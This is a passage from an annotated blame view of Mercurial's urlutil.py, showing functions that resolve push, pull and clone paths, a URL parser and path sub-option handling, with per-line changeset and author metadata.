46940
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
541 return dests[0]
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
542
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
543
49722
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
544 def get_unique_pull_path_obj(action, ui, source=None):
46936
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
545 """return a unique `(path, branch)` or abort if multiple are found
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
546
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
547 This is useful for command and action that does not support multiple
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
548 destination (yet).
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
549
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
550 The `action` parameter will be used for the error message.
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
551
49722
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
552 note: Ideally, this function would be called `get_unique_pull_path` to
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
553 mirror the `get_unique_push_path`, but the name was already taken.
46936
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
554 """
49721
9f249dee8ce8 path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49720
diff changeset
555 sources = []
9f249dee8ce8 path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49720
diff changeset
556 if source is not None:
9f249dee8ce8 path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49720
diff changeset
557 sources.append(source)
9f249dee8ce8 path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49720
diff changeset
558
49722
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
559 pull_paths = list(get_pull_paths(None, ui, sources=sources))
49721
9f249dee8ce8 path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49720
diff changeset
560 path_count = len(pull_paths)
9f249dee8ce8 path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49720
diff changeset
561 if path_count != 1:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
562 if source is None:
47411
515014d72aa2 urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents: 47410
diff changeset
563 msg = _(
515014d72aa2 urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents: 47410
diff changeset
564 b"default path points to %d urls while %s only supports one"
515014d72aa2 urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents: 47410
diff changeset
565 )
49721
9f249dee8ce8 path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49720
diff changeset
566 msg %= (path_count, action)
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
567 else:
47411
515014d72aa2 urlutil: byteify several localized messages
Matt Harbison <matt_harbison@yahoo.com>
parents: 47410
diff changeset
568 msg = _(b"path points to %d urls while %s only supports one: %s")
49721
9f249dee8ce8 path: simplify the `get_unique_pull_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49720
diff changeset
569 msg %= (path_count, action, source)
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
570 raise error.Abort(msg)
49722
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
571 return pull_paths[0]
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
572
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
573
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
574 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
575 """return a unique `(url, branch)` or abort if multiple are found
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
576
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
577 See `get_unique_pull_path_obj` for details.
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
578 """
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
579 path = get_unique_pull_path_obj(action, ui, source=source)
f4626b74b941 path: introduce a `get_unique_pull_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49721
diff changeset
580 return parseurl(path.rawloc, default_branches)
46936
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
581
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
582
49740
53ad92b20556 path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49739
diff changeset
583 def get_clone_path_obj(ui, source):
53ad92b20556 path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49739
diff changeset
584 """return the `(origsource, url, branch)` selected as clone source"""
53ad92b20556 path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49739
diff changeset
585 if source == b'':
53ad92b20556 path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49739
diff changeset
586 return None
53ad92b20556 path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49739
diff changeset
587 return get_unique_pull_path_obj(b'clone', ui, source=source)
53ad92b20556 path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49739
diff changeset
588
53ad92b20556 path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49739
diff changeset
589
49739
ffe8dd945f19 path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49738
diff changeset
590 def get_clone_path(ui, source, default_branches=None):
49738
afcf59039b5d path: clarify document of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49722
diff changeset
591 """return the `(origsource, url, branch)` selected as clone source"""
49740
53ad92b20556 path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49739
diff changeset
592 path = get_clone_path_obj(ui, source)
53ad92b20556 path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49739
diff changeset
593 if path is None:
53ad92b20556 path: add a `get_clone_path_obj` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49739
diff changeset
594 return (b'', b'', (None, default_branches))
49739
ffe8dd945f19 path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49738
diff changeset
595 if default_branches is None:
ffe8dd945f19 path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49738
diff changeset
596 default_branches = []
ffe8dd945f19 path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49738
diff changeset
597 branches = (path.branch, default_branches)
ffe8dd945f19 path: simplify the implementation of `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49738
diff changeset
598 return path.rawloc, path.loc, branches
46934
ebb13f9a9ba8 urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46928
diff changeset
599
ebb13f9a9ba8 urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46928
diff changeset
600
46908
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
601 def parseurl(path, branches=None):
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
602 '''parse url#branch, returning (url, (branch, branches))'''
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
603 u = url(path)
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
604 branch = None
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
605 if u.fragment:
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
606 branch = u.fragment
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
607 u.fragment = None
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
608 return bytes(u), (branch, branches or [])
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
609
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
610
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
611 class paths(dict):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
612 """Represents a collection of paths and their configs.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
613
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
614 Data is initially derived from ui instances and the config files they have
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
615 loaded.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
616 """
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
617
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
618 def __init__(self, ui):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
619 dict.__init__(self)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
620
47272
a671832a8e41 urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47187
diff changeset
621 home_path = os.path.expanduser(b'~')
a671832a8e41 urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47187
diff changeset
622
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
623 for name, value in ui.configitems(b'paths', ignoresub=True):
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
624 # No location is the same as not existing.
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
625 if not value:
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
626 continue
47272
a671832a8e41 urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47187
diff changeset
627 _value, sub_opts = ui.configsuboptions(b'paths', name)
a671832a8e41 urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47187
diff changeset
628 s = ui.configsource(b'paths', name)
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
629 root_key = (name, value, s)
47272
a671832a8e41 urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47187
diff changeset
630 root = ui._path_to_root.get(root_key, home_path)
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
631
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
632 multi_url = sub_opts.get(b'multi-urls')
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
633 if multi_url is not None and stringutil.parsebool(multi_url):
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
634 base_locs = stringutil.parselist(value)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
635 else:
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
636 base_locs = [value]
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
637
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
638 paths = []
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
639 for loc in base_locs:
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
640 loc = os.path.expandvars(loc)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
641 loc = os.path.expanduser(loc)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
642 if not hasscheme(loc) and not os.path.isabs(loc):
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
643 loc = os.path.normpath(os.path.join(root, loc))
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
644 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
645 paths.append(p)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
646 self[name] = paths
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
647
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
648 for name, old_paths in sorted(self.items()):
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
649 new_paths = []
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
650 for p in old_paths:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
651 new_paths.extend(_chain_path(p, ui, self))
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
652 self[name] = new_paths
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
653
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
654
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
655 _pathsuboptions = {}
50692
9d4a2ea3dcb9 paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50207
diff changeset
656 # a dictionnary of methods that can be used to format a sub-option value
9d4a2ea3dcb9 paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50207
diff changeset
657 path_suboptions_display = {}
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
658
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
659
50692
9d4a2ea3dcb9 paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50207
diff changeset
660 def pathsuboption(option, attr, display=pycompat.bytestr):
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
661 """Decorator used to declare a path sub-option.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
662
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
663 Arguments are the sub-option name and the attribute it should set on
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
664 ``path`` instances.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
665
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
666 The decorated function will receive as arguments a ``ui`` instance,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
667 ``path`` instance, and the string value of this option from the config.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
668 The function should return the value that will be set on the ``path``
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
669 instance.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
670
50692
9d4a2ea3dcb9 paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50207
diff changeset
671 The optional `display` argument is a function that can be used to format
9d4a2ea3dcb9 paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50207
diff changeset
672 the value when displayed to the user (like in `hg paths` for example).
9d4a2ea3dcb9 paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50207
diff changeset
673
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
674 This decorator can be used to perform additional verification of
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
675 sub-options and to change the type of sub-options.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
676 """
50909
35885dbdc927 path-suboption: deprecated specifying the attributes as bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50908
diff changeset
677 if isinstance(attr, bytes):
35885dbdc927 path-suboption: deprecated specifying the attributes as bytes
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50908
diff changeset
678 msg = b'pathsuboption take `str` as "attr" argument, not `bytes`'
51138
5c9c41273367 cleanup: turn `pathsuboption` deprecation warning into an error
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51136
diff changeset
679 raise TypeError(msg)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
680
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
681 def register(func):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
682 _pathsuboptions[option] = (attr, func)
50692
9d4a2ea3dcb9 paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50207
diff changeset
683 path_suboptions_display[option] = display
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
684 return func
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
685
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
686 return register
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
687
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
688
50694
e9c676ad18f1 path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50693
diff changeset
689 def display_bool(value):
e9c676ad18f1 path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50693
diff changeset
690 """display a boolean suboption back to the user"""
e9c676ad18f1 path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50693
diff changeset
691 return b'yes' if value else b'no'
e9c676ad18f1 path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50693
diff changeset
692
e9c676ad18f1 path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50693
diff changeset
693
50908
ceac1bd816f7 path-suboption: use str for "_pushloc" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50907
diff changeset
694 @pathsuboption(b'pushurl', '_pushloc')
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
695 def pushurlpathoption(ui, path, value):
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
696 u = url(value)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
697 # Actually require a URL.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
698 if not u.scheme:
47276
9cc9b4a25248 urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47273
diff changeset
699 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
9cc9b4a25248 urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47273
diff changeset
700 msg %= (path.name, value)
9cc9b4a25248 urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47273
diff changeset
701 ui.warn(msg)
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
702 return None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
703
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
704 # Don't support the #foo syntax in the push URL to declare branch to
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
705 # push.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
706 if u.fragment:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
707 ui.warn(
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
708 _(
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
709 b'("#fragment" in paths.%s:pushurl not supported; '
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
710 b'ignoring)\n'
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
711 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
712 % path.name
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
713 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
714 u.fragment = None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
715
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
716 return bytes(u)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
717
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
718
50907
b59ad4292c7a path-suboption: use str for "pushrev" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 50906
diff changeset
719 @pathsuboption(b'pushrev', 'pushrev')
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
720 def pushrevpathoption(ui, path, value):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
721 return value
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
722
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
723
48242
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
724 SUPPORTED_BOOKMARKS_MODES = {
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
725 b'default',
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
726 b'mirror',
48244
b56858d85a7b bookmarks: add a `ignore` variant of the bookmark mode
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48242
diff changeset
727 b'ignore',
48242
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
728 }
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
729
4d2ab365699e bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 48240
diff changeset
730
50906
